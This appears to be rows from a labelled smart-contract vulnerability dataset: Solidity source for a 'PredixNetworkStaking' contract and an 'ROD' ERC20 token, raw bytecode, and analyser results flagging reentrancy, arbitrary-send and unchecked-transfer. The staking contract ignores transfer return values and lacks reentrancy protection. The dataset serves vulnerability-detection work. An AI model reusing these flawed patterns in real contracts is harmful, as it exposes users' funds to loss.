60248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b60008111610d5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6000546001600160a01b03848116911614801590610d8a57506000546001600160a01b03838116911614155b15610feb57601154600160b81b900460ff1615610e71576001600160a01b0383163014801590610dc357506001600160a01b0382163014155b8015610ddd57506010546001600160a01b03848116911614155b8015610df757506010546001600160a01b03838116911614155b15610e71576010546001600160a01b0316336001600160a01b03161480610e3157506011546001600160a01b0316336001600160a01b0316145b610e715760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610460565b601254811115610e8057600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158015610ec257506001600160a01b03821660009081526006602052604090205460ff16155b610ecb57600080fd5b6011546001600160a01b038481169116148015610ef657506010546001600160a01b03838116911614155b8015610f1b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f305750601154600160b81b900460ff165b15610f7e576001600160a01b0382166000908152600760205260409020544211610f5957600080fd5b610f6442601e611b09565b6001600160a01b0383166000908152600760205260409020555b6000610f89306104ff565b601154909150600160a81b900460ff16158015610fb457506011546001600160a01b03858116911614155b8015610fc95750601154600160b01b900460ff165b15610fe957610fd78161118b565b478015610fe757610fe747611082565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102d57506001600160a01b03831660009081526005602052604090205460ff165b15611036575060005b611042848484846113f1565b50505050565b6000818484111561106c5760405162461bcd60e51b81526004016104609190611a11565b5060006110798486611b60565b95945050505050565b600e546001600160a01b03166108fc61109c8360026113af565b6040518115909202916000818181858888f193505050501580156110c4573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6110df8360026113af565b6040518115909202916000818181858888f19350505050158015610642573d6000803e3d6000fd5b600060085482111561116e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610460565b600061117861141f565b905061118483826113af565b9392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126d919061180e565b8160018151811061128e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112b49130911684610b12565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ed908590600090869030904290600401611a99565b600060405180830381600087803b15801561130757600080fd5b505af115801561131b573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60008261133f575060006103c7565b600061134b8385611b41565b9050826113588583611b21565b146111845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610460565b600061118483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611442565b806113fe576113fe611470565b61140984848461149e565b8061104257611042600c54600a55600d54600b55565b600080600061142c611595565b909250905061143b82826113af565b9250505090565b600081836114635760405162461bcd60e51b81526004016104609190611a11565b5060006110798486611b21565b600a541580156114805750600b54155b1561148757565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114b0876115d7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114e29087611634565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115119086611676565b6001600160a01b038916600090815260026020526040902055611533816116d5565b61153d848361171f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161158291815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115b182826113af565b8210156115ce57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115f48a600a54600b54611743565b925092509250600061160461141f565b905060008060006116178e878787611792565b919e509c509a509598509396509194505050505091939550919395565b600061118483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611048565b6000806116838385611b09565b9050838110156111845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b60006116df61141f565b905060006116ed8383611330565b3060009081526002602052604090205490915061170a9082611676565b30600090815260026020526040902055505050565b60085461172c9083611634565b60085560095461173c9082611676565b6009555050565b60008080806117576064610ad18989611330565b9050600061176a6064610ad18a89611330565b905060006117828261177c8b86611634565b90611634565b9992985090965090945050505050565b60008080806117a18886611330565b905060006117af8887611330565b905060006117bd8888611330565b905060006117cf8261177c8686611634565b939b939a50919850919650505050505050565b80356117ed81611bbe565b919050565b600060208284031215611803578081fd5b813561118481611bbe565b60006020828403121561181f578081fd5b815161118481611bbe565b6000806040838503121561183c578081fd5b823561184781611bbe565b9150602083013561185781611bbe565b809150509250929050565b600080600060608486031215611876578081fd5b833561188181611bbe565b9250602084013561189181611bbe565b929592945050506040919091013590565b600080604083850312156118b4578182fd5b82356118bf81611bbe565b946020939093013593505050565b600060208083850312156118df578182fd5b823567ffffffffffffffff808211156118f6578384fd5b818501915085601f830112611909578384fd5b81358181111561191b5761191b611ba8565b8060051b604051601f19603f8301168101818110858211171561194057611940611ba8565b604052828152858101935084860182860187018a101561195e578788fd5b8795505b8386101561198757611973816117e2565b855260019590950194938601938601611962565b5098975050505050505050565b6000602082840312156119a5578081fd5b813561118481611bd3565b6000602082840312156119c1578081fd5b815161118481611bd3565b6000602082840312156119dd578081fd5b5035919050565b6000806000606084860312156119f8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a3d57858101830151858201604001528201611a21565b81811115611a4e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ae85784516001600160a01b031683529383019391830191600101611ac3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b1c57611b1c611b92565b500190565b600082611b3c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b5b57611b5b611b92565b500290565b600082821015611b7257611b72611b92565b500390565b6000600019821415611b8b57611b8b611b92565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fc57600080fd5b80151581146104fc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d63c63664d997dff9c4dfc5dc8b53faaffae89a641446f6184faed81f5a19d464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,609 |
0xa47430eab0c59bd8ce8653cb09459baa759cedae
|
pragma solidity 0.7.1;
abstract contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface PRDX_token {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success) ;
}
contract PredixNetworkStaking is Ownable {
using SafeMath for uint256 ;
//time variables
uint public week = 604800 ;
//level definitions
uint public _lvl1 = 50 * 1e18 ;
uint public _lvl2 = 500 * 1e18 ;
uint public _lvl3 = 5000 * 1e18 ;
//active staking coins
uint public coins_staking ;
//Staking Defintions
mapping (address => bool) public isStaking ;
mapping(address => uint256) public stakingAmount ;
mapping(address => uint256) public stakingStart ;
//contract addresses
address public token_addr ;
PRDX_token token_contract = PRDX_token(token_addr) ;
event staked(address staker, uint256 amount) ;
event ended_stake(address staker, uint256 reward) ;
/**
* @dev Set PRDX Token contract address
* @param addr Address of PRDX Token contract
*/
function set_token_address(address addr) public onlyOwner {
token_addr = addr ;
token_contract = PRDX_token(addr) ;
}
/**
* @dev Get staking amount of user, hook for other contracts
* @param staker User address to get staking amount for
* @return staking_amount Only zero if user is not staking
*/
function get_staking_amount(address staker) public view returns (uint256 staking_amount) {
if (isStaking[staker] == false) {
return 0 ;
}
return stakingAmount[staker] ;
}
/**
* @dev Get user staking status, hook for other contracts
* @param user User address to get staking status for
* @return is_staking Is false if user is not staking, true if staking
*/
function get_is_staking(address user) public view returns (bool is_staking) {
return isStaking[user] ;
}
/**
* @dev Stake tokens, should be called through main token contract. User must have approved
* staking contract, amount must be at least {_lvl1} and cannot be staking already. Extra
* check for staking timestamp performed to prevent timestamp errors and futuristic staking
* @param staker User address to stake tokens for
* amount Amount of tokens to stake
* @return success Only false if transaction fails
*/
function stake(address staker, uint256 amount) public payable returns (bool success) {
require(amount >= _lvl1, "Not enough tokens to start staking") ;
require(isStaking[staker] == false, "Already staking") ;
require(stakingStart[staker] <= block.timestamp, "Error getting staking timestamp") ;
require(token_contract.transferFrom(staker, address(this), amount), "Error transacting tokens to contract") ;
isStaking[staker] = true ;
stakingAmount[staker] = amount ;
stakingStart[staker] = block.timestamp ;
coins_staking += amount ;
emit staked(staker, amount) ;
return true ;
}
/**
* @dev Stop staking currently staking tokens. Sender has to be staking
*/
function stop_stake() public returns (bool success) {
require(stakingStart[msg.sender] <= block.timestamp, "Staking timestamp error") ;
require(isStaking[msg.sender] == true, "User not staking") ;
uint256 reward = getStakingReward(msg.sender) + stakingAmount[msg.sender] ;
token_contract.transfer(msg.sender, reward) ;
coins_staking -= stakingAmount[msg.sender] ;
stakingAmount[msg.sender] = 0 ;
isStaking[msg.sender] = false ;
emit ended_stake(msg.sender, reward) ;
return true ;
}
/**
* @dev Calculate staking reward
* @param staker Address to get the staking reward for
*/
function getStakingReward(address staker) public view returns (uint256 __reward) {
uint amount = stakingAmount[staker] ;
uint age = getCoinAge(staker) ;
if ((amount >= _lvl1) && (amount < _lvl2)) {
return calc_lvl1(amount, age) ;
}
if ((amount >= _lvl2) && (amount < _lvl3)) {
return calc_lvl2(amount, age) ;
}
if (amount >= _lvl3) {
return calc_lvl3(amount, age) ;
}
}
/**
* @dev Calculate staking reward for level 1 staker
* @param amount Amount of PRDX tokens to calculate staking reward performed
* age Age of staked tokens
*/
function calc_lvl1(uint amount, uint age) public view returns (uint256 reward) {
uint256 _weeks = age/week ;
uint interest = amount ;
for (uint i = 0; i < _weeks; i++) {
interest += 25 * interest / 10000 ;
}
return interest - amount ;
}
/**
* @dev Calculate staking reward for level 2 staker
* @param amount Amount of PRDX tokens to calculate staking reward performed
* age Age of staked tokens
*/
function calc_lvl2(uint amount, uint age) public view returns (uint256 reward) {
uint256 _weeks = age/week ;
uint interest = amount ;
for (uint i = 0; i < _weeks; i++) {
interest += 50 * interest / 10000 ;
}
return interest - amount ;
}
/**
* @dev Calculate staking reward for level 3 staker
* @param amount Amount of PRDX tokens to calculate staking reward performed
* age Age of staked tokens
*/
function calc_lvl3(uint amount, uint age) public view returns (uint256 reward) {
uint256 _weeks = age/week ;
uint interest = amount ;
for (uint i = 0; i < _weeks; i++) {
interest += 85 * interest / 10000 ;
}
return interest - amount ;
}
/**
* @dev Get coin age of staker. Returns zero if user not staking
* @param staker Address to get the staking age for
*/
function getCoinAge(address staker) public view returns(uint256 age) {
if (isStaking[staker] == true){
return (block.timestamp.sub(stakingStart[staker])) ;
}
else {
return 0 ;
}
}
/**
* @dev Returns total amount of coins actively staking
*/
function get_total_coins_staking() public view returns (uint256 amount) {
return coins_staking ;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
0x6080604052600436106101405760003560e01c80638b56b77a116100b6578063b2f54b561161006f578063b2f54b56146103d4578063d201cbe914610404578063de36b1d314610419578063e5db00cd1461044c578063e8f7b1ee1461047c578063f2fde38b146104af57610140565b80638b56b77a146102ea5780638c51ad821461031b5780638da5cb5b146103305780639f68369014610345578063adc9772e14610375578063ade6fa27146103a157610140565b806360ea74ee1161010857806360ea74ee146102125780636aec8ddc146102455780636f49712b1461025a578063715018a61461028d57806378f4d413146102a257806385c3a966146102d557610140565b80633758772f1461014557806342263aa21461016e57806344d998fa146101a35780634995b458146101e85780634b33d8a2146101fd575b600080fd5b34801561015157600080fd5b5061015a6104e2565b604080519115158252519081900360200190f35b34801561017a57600080fd5b506101a16004803603602081101561019157600080fd5b50356001600160a01b03166106b0565b005b3480156101af57600080fd5b506101d6600480360360208110156101c657600080fd5b50356001600160a01b0316610746565b60408051918252519081900360200190f35b3480156101f457600080fd5b506101d66107a0565b34801561020957600080fd5b506101d66107a6565b34801561021e57600080fd5b506101d66004803603602081101561023557600080fd5b50356001600160a01b03166107ac565b34801561025157600080fd5b506101d66107f0565b34801561026657600080fd5b5061015a6004803603602081101561027d57600080fd5b50356001600160a01b03166107f6565b34801561029957600080fd5b506101a161080b565b3480156102ae57600080fd5b506101d6600480360360208110156102c557600080fd5b50356001600160a01b03166108bf565b3480156102e157600080fd5b506101d661094b565b3480156102f657600080fd5b506102ff610951565b604080516001600160a01b039092168252519081900360200190f35b34801561032757600080fd5b506101d6610960565b34801561033c57600080fd5b506102ff610966565b34801561035157600080fd5b506101d66004803603604081101561036857600080fd5b5080359060200135610975565b61015a6004803603604081101561038b57600080fd5b506001600160a01b0381351690602001356109b2565b3480156103ad57600080fd5b506101d6600480360360208110156103c457600080fd5b50356001600160a01b0316610c07565b3480156103e057600080fd5b506101d6600480360360408110156103f757600080fd5b5080359060200135610c19565b34801561041057600080fd5b506101d6610c4a565b34801561042557600080fd5b5061015a6004803603602081101561043c57600080fd5b50356001600160a01b0316610c50565b34801561045857600080fd5b506101d66004803603604081101561046f57600080fd5b5080359060200135610c6e565b34801561048857600080fd5b506101d66004803603602081101561049f57600080fd5b50356001600160a01b0316610c9f565b3480156104bb57600080fd5b506101a1600480360360208110156104d257600080fd5b50356001600160a01b0316610cb1565b33600090815260086020526040812054421015610546576040805162461bcd60e51b815260206004820152601760248201527f5374616b696e672074696d657374616d70206572726f72000000000000000000604482015290519081900360640190fd5b3360009081526006602052604090205460ff1615156001146105a2576040805162461bcd60e51b815260206004820152601060248201526f55736572206e6f74207374616b696e6760801b604482015290519081900360640190fd5b3360008181526007602052604081205490916105bd906108bf565b600a546040805163a9059cbb60e01b8152336004820152939092016024840181905291519193506001600160a01b03169163a9059cbb9160448083019260209291908290030181600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b50503360008181526007602090815260408083208054600580549190910390558390556006825291829020805460ff191690558151928352820183905280517f2cbfa5770168159acdcefa9c0693136bca666cb3551b141235fdf76bc5cbedc69281900390910190a1600191505090565b6106b8610dbb565b6000546001600160a01b0390811691161461071a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600980546001600160a01b039092166001600160a01b03199283168117909155600a8054909216179055565b6001600160a01b03811660009081526006602052604081205460ff16151560011415610797576001600160a01b038216600090815260086020526040902054610790904290610dbf565b905061079b565b5060005b919050565b60015481565b60055490565b6001600160a01b03811660009081526006602052604081205460ff166107d45750600061079b565b506001600160a01b031660009081526007602052604090205490565b60025481565b60066020526000908152604090205460ff1681565b610813610dbb565b6000546001600160a01b03908116911614610875576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b038116600090815260076020526040812054816108e284610746565b905060025482101580156108f7575060035482105b1561090f576109068282610975565b9250505061079b565b6003548210158015610922575060045482105b15610931576109068282610c19565b6004548210610944576109068282610c6e565b5050919050565b60055481565b6009546001600160a01b031681565b60045481565b6000546001600160a01b031690565b600080600154838161098357fe5b0490508360005b828110156109a65761271060198302049091019060010161098a565b50939093039392505050565b60006002548210156109f55760405162461bcd60e51b8152600401808060200182810382526022815260200180610dfb6022913960400191505060405180910390fd5b6001600160a01b03831660009081526006602052604090205460ff1615610a55576040805162461bcd60e51b815260206004820152600f60248201526e416c7265616479207374616b696e6760881b604482015290519081900360640190fd5b6001600160a01b038316600090815260086020526040902054421015610ac2576040805162461bcd60e51b815260206004820152601f60248201527f4572726f722067657474696e67207374616b696e672074696d657374616d7000604482015290519081900360640190fd5b600a54604080516323b872dd60e01b81526001600160a01b03868116600483015230602483015260448201869052915191909216916323b872dd9160648083019260209291908290030181600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b505050506040513d6020811015610b4857600080fd5b5051610b855760405162461bcd60e51b8152600401808060200182810382526024815260200180610e1d6024913960400191505060405180910390fd5b6001600160a01b0383166000818152600660209081526040808320805460ff1916600117905560078252808320869055600882529182902042905560058054860190558151928352820184905280517f8f169816223f856d6f6a5945e3f7c520efe6c139d4152b6bb65e454babb2f2cb9281900390910190a150600192915050565b60086020526000908152604090205481565b6000806001548381610c2757fe5b0490508360005b828110156109a657612710603283020490910190600101610c2e565b60035481565b6001600160a01b031660009081526006602052604090205460ff1690565b6000806001548381610c7c57fe5b0490508360005b828110156109a657612710605583020490910190600101610c83565b60076020526000908152604090205481565b610cb9610dbb565b6000546001600160a01b03908116911614610d1b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610d605760405162461bcd60e51b8152600401808060200182810382526026815260200180610dd56026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082821115610dce57600080fd5b5090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734e6f7420656e6f75676820746f6b656e7320746f207374617274207374616b696e674572726f72207472616e73616374696e6720746f6b656e7320746f20636f6e7472616374a264697066735822122001db17e7ad30019f1fa981621d90b209e3c891fb0067c6ca3ef533954e58ca2b64736f6c63430007010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,610 |
0x736797ce7f301fd4de03ea865a3a91ae3def66bc
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROD is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed from, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROD() public {
symbol = "ROD";
name = "NeoWorld Rare Ore D";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value); // Check if the sender has enough
balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bb57806318160ddd1461021557806323b872dd1461023e578063313ce567146102b75780633eaaf86b146102e65780633f4ba83a1461030f57806342966c681461033c5780635c975abb1461037757806366188463146103a457806370a08231146103fe57806379ba50971461044b5780638456cb59146104605780638da5cb5b1461048d57806395d89b41146104e2578063a9059cbb14610570578063cae9ca51146105ca578063d4ee1d9014610667578063d73dd623146106bc578063dc39d06d14610716578063dd62ed3e14610770578063f2fde38b146107dc575b600080fd5b341561013857600080fd5b610140610815565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610180578082015181840152602081019050610165565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b3565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b6102286109c1565b6040518082815260200191505060405180910390f35b341561024957600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a0c565b604051808215151515815260200191505060405180910390f35b34156102c257600080fd5b6102ca610cd3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f157600080fd5b6102f9610ce6565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610cec565b604051808215151515815260200191505060405180910390f35b341561034757600080fd5b61035d6004808035906020019091905050610db2565b604051808215151515815260200191505060405180910390f35b341561038257600080fd5b61038a610f05565b604051808215151515815260200191505060405180910390f35b34156103af57600080fd5b6103e4600480803573